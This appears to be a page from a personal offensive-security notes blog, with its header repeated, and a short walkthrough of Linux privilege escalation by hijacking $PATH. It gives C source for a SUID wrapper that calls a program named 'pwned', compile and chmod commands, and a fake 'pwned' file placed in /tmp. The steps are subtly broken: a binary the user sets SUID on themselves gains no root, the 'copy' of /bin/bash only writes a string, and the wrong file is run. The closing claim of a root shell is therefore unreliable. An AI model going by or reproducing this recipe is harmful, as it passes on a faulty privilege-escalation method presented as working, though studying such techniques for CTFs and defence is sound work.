boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Manipulating $PATH

Create a simple binary called "pwned" that will be used to elevate to a root shell:

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("pwned");
}

Compile it and set the SUID bit:

gcc path_exp.c -o path -w
chmod u+s path

Check which directories are listed under $PATH: echo $PATH.

Add /tmp to the front of it: export PATH=/tmp:$PATH.

Now copy /bin/bash over as pwned:

echo "/bin/bash" > pwned
chmod 777 pwned
./pwned

This drops us into a root shell. It works as long as I am in a writable directory and set that filepath to $PATH via export PATH=/<filepath>:$PATH.